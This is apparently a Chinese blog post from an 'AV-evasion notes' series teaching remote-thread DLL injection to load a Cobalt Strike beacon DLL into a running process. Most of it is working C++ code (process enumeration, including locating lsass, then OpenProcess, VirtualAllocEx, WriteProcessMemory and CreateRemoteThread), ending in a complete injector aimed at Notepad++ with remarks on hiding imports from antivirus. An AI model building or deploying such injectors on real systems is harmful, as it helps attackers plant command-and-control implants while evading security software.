免杀笔记 ----> DLL注入

时间:2024-07-08 07:13:41

这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力!!!

   :今天我们讲DLL注入

目录

1.DLL注入

2.直接加载DLL?

3.远程线程注入

获取Handle

远程申请内存空间

将我们的CS的DLL加载入内存

创建远程线程,Load上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

4.GetProcessPID

5.打开空间

6.申请远程内存

7.CS上线DLL写入内存

8.获取LoadLibrary地址

9.创建线程

10.等待线程结束,释放DLL空间,关闭句柄

11.最终代码


1.DLL注入

DLL注入,也叫做远程线程注入!

DLL(Dynamic Link Library)注入是一种技术,它允许一个进程向另一个进程中注入一个动态链接库(DLL)。这种技术通常用于软件开发和系统管理,但也可能被恶意软件用来实现特定目的。

这里说明一个东西先,不知道大家有没有好奇过,为什么我并没有load user32.dll 却可以使用MessageBoxA这样的函数???  

那是因为我们包含了Windows.h这样的头文件(不信你试试不包含,绝对报错!)

在Windows平台上,Windows.h头文件是包含了大量Windows API的头文件之一,它会在编译时引入所有必要的声明和定义,包括user32.dll中的函数声明。

所以如果你去查看这个程序的导出表的时候,是能看得见user32.dll这个DLL的(就算你没有手动去LoadLibrary)

2.直接加载DLL?

有人就会想了,我们直接去我们自己写一个C语言,然后LoadLibrary不就好了吗!!! 

然后现实生活中也确实可以如此!!!  我们来演示一下

   先去生成一个上线DLL 

然后我们直接写一个C代码(不能让他结束,否则ShellCode的内存资源就被释放了)

其中下面的那个DLL,是我们上线的DLL

int main()
{
	LoadLibrary(L"C:\\Users\\ASUS\\Desktop\\inject.dll");
	while (1)
	{
        //DoNothing
	}
	
	return 0;
}

我们是能够成功的看见上线的

我们还可以通过Process Monitor去查看,是能看见这个DLL的

但是,有用吗,你也不看看这是一个什么程序

 :既不是UAC白名单,又没有数字签名,还直接LoadLibary,你当杀软不存在?

所以即使上面的方法是能上线的,我们也不会去这样直接加载我们的上线的DLL! 

3.远程线程注入

既然我们不想本地加载我们的DLL,那我们就只能远程加载了,因此DLL注入也被称为远程线程注入 !!!! 

那么我们应该怎么去进行远程线程注入呢???  有以下的步骤

  1. 获取进程的句柄(Handle)
  2. 远程申请内存空间
  3. 将我们的CS上线DLL加载入内存 
  4. 获取Loadlibrary的地址
  5. 创建远程线程,load上线DLL
  6. 等待远程线程结束
  7. 释放DLL空间
  8. 关闭线程句柄

下面我们来一步一步介绍一下这个过程

获取Handle

首先我们就是获取一个已经正在运行的EXE的句柄,便于我们后续去操作

远程申请内存空间

这里我们会远程申请一个内存空间

将我们的CS的DLL加载入内存

这里可能会有点迷惑,就是为什么我们需要将DLL写入我们的内存之中呢? 

其实就是因为没有RemoteLoadLibrary这样的操作,我们不能让别人的EXE直接LoadLibrary!

创建远程线程,Load上线DLL

我们不能远程LoadLibrary,但是我们可以远程创建线程去Load我们的上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

然后就是等待远程线程结束了,释放DLL空间,关闭线程句柄

4.GetProcessPID

其实这不是一个标准的函数,是我们自己写的!! 用来通过进程名获取对应的PID

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}

不过运行这个函数我们还得包含一个头文件Tlhelp32.h!! 下面我们来获取一下lsass进程的PID

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
	DWORD Ret = 0;
	PROCESSENTRY32 p32;
	HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (lpSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
		return Ret;
	}
	p32.dwSize = sizeof(PROCESSENTRY32);
	::Process32First(lpSnapshot, &p32);
	do {
		if (!lstrcmp(p32.szExeFile, lpProcessName))
		{
			Ret = p32.th32ProcessID;
			break;
		}
	} while (::Process32Next(lpSnapshot, &p32));
	::CloseHandle(lpSnapshot);
	return Ret;
}

int main()
{
	cout << "Lsass进程的PID是: " << GetProcessPID(L"lsass.exe") << endl;
	
	return 0;
}

其中由于编码问题,我们的GetProcePID接受的字符串需要我们手动在他前面加上一个L

然后我们去运行查看效果

我们去cmd查看,发现也是1348

这样,我们就能获取到我们想要注入程序的PID了

5.打开空间

首先我们就要通过OpenProcess来获取我们句柄Handle

OpenProcess 是一个Windows API函数,用于打开一个已存在的进程并返回进程的句柄。通过这个句柄,可以执行一系列操作,比如读取或修改进程的内存,获取进程的信息等。

所以我们的代码就可以这么写

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

首先OpenProcess接受三个参数,一个是对当前的进程的权限(这里我给了ALL,实际上有可能会被杀软监控),然后就是是否继承,这里我们直接写False就好了,最后一个就是该进程的PID,这里我们就用我们刚才找到的PID即可!!!

最好我们可以写一个判断圈内玩免杀的人都这样,不过也可以理解,否则运行一个EXE啥也没有,感觉有点干涩)

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (OriginalProcessHandle == NULL)
{
	cout << "Get originalprocesshandle failed :(" << endl;
}
else {
	cout << "Get originalprocesshandle successfully :)" << endl;
}

6.申请远程内存

这里我们就要用到VirtualAllocEx这个函数远程申请内存空间了

DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (RemoteMemory == NULL)
{
	cout << "VritualAlloc Address Falied :(" << endl;
}else {
	cout << "VirtualAlloc Address successfully :)" << endl;
}

首先我们先不管那个length,我们来看看VirtualAllocEx的参数,第一个就是我们上面获取到的Handle,然后就是NULL,接着就是我们DLL路径的length,然后MEM_COMMIT和PAGE_EXECUTE_READWRITE就和普通的VirtualAlloc一样

这里我觉得有要说一下的,就是那个Length是DLL的路径长度,又应为那个长度是以两个字节在内存中存储的,所以我们要*sizeif(tchar)

这里并不是说把DLL的内容加载到了内存中,而是将DLL的路径当作副本加载入内存,方便我们后面LoadLibrary!!!

7.CS上线DLL写入内存

这里我们用WirteProcessMemory,还是先贴代码

BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
if (WriteStatus == 0)
{
	cout << "Write CS's DLL into memory failed :(" << endl;
}else
{
	cout << "Write CS's DLL into memory successfully :)" << endl;
}

第一个参数是句柄,然后就是远程的虚拟地址,然后就是我们的DLL的地址,长度,NULL

8.获取LoadLibrary地址

其实这里我们完全可以不用这一步,直接创建线程LoadLibrary,但是为了在导入表不那么明显,我们还是低配的隐藏一下(GetProcessAddress还是暴露了)

FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibrary");

这里我们用函数指针类型(FARPOC)来接收,GetProcAddress接受两个参数,一个是目标DLL的句柄,一个就是导出函数的名称!! 

那么我们既然想绕开Loadlibrary, 我们就要用GetModuleHandle来获取Kernel32的句柄,并且在Kernerl32中找到Loadlibrary这个函数,并且返回函数地址! 

9.创建线程

还是来先贴一段代码

	HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
	if (RemoteHandle == NULL)
	{
		cout << "Remote thread create failed :(" << endl;
		return;
	}else {
		cout << "Remote thread create successfully :)" << endl;
	}

CreateRemoteThread接受三个参数 ,注入程序的Handle ,NULL,0,指向线程函数的指针,即要在线程中执行的代码的入口点(需要强制类型转换!),远程申请到的地址,0,NULL

通过上面的这个代码,我们就能为远程的程序创建到一个线程!!!

10.等待线程结束,释放DLL空间,关闭句柄

这三个就没什么好说的了吧!

 //6.等待线程结束
WaitForSingleObject(RemoteHandle, -1);
 //7.释放DLL空间
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);
 //8.关闭句柄
CloseHandle(OriginalProcessHandle);

最后就是将上面的一众API封装成为一个函数,并且传入两个参数,一个是进程的API,一个就是我们的DLL路径

void DLLInject(DWORD pid,LPCWSTR dllpath)

其中LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。

11.最终代码

然后就是我们的成品代码了!!! 

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
	DWORD Ret = 0;
	PROCESSENTRY32 p32;
	HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (lpSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
		return Ret;
	}
	p32.dwSize = sizeof(PROCESSENTRY32);
	::Process32First(lpSnapshot, &p32);
	do {
		if (!lstrcmp(p32.szExeFile, lpProcessName))
		{
			Ret = p32.th32ProcessID;
			break;
		}
	} while (::Process32Next(lpSnapshot, &p32));
	::CloseHandle(lpSnapshot);
	return Ret;
}

void DLLInject(DWORD pid,LPCWSTR dllpath)
{
	//LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。
	//1.获取句柄
	HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
	if (OriginalProcessHandle == NULL)
	{
		cout << "Get originalprocesshandle failed :(" << endl;
		return;
	}
	else {
		cout << "Get originalprocesshandle successfully :)" << endl;
	}
	//2.远程申请内存
	DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
	PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (RemoteMemory == NULL)
	{
		cout << "VritualAlloc Address Falied :(" << endl;
		return;
	}else {
		cout << "VirtualAlloc Address successfully :)" << endl;
	} 
	//3.将CS上线的DLL写入内存
	BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
	if (WriteStatus == 0)
	{
		cout << "Write CS's DLL into memory failed :(" << endl;
		return;
	}else
	{
		cout << "Write CS's DLL into memory successfully :)" << endl;
	}
	//4.获取LoadLibrary地址
	FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	//5.创建线程
	HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
	if (RemoteHandle == NULL)
	{
		cout << "Remote thread create failed :(" << endl;
		return;
	}else {
		cout << "Remote thread create successfully :)" << endl;
	}
	 //6.等待线程结束
	WaitForSingleObject(RemoteHandle, -1);
	 //7.释放DLL空间
	VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);
	 //8.关闭句柄
	CloseHandle(OriginalProcessHandle);
	cout << "DL1 inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}
 
int main()
{
	DWORD PID = GetProcessPID(L"notepad++.exe");
	DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");
	
	return 0;
}

这里我选择注入的是Notepad++你们当然也可以注别的,不过要注意权限噢!!! 

成果展示(记得先打开Notepad++)

当然了,我们后面再把从CMD获取DLL的路径,以及程序名字的功能完善之后,我就把他扔到Github上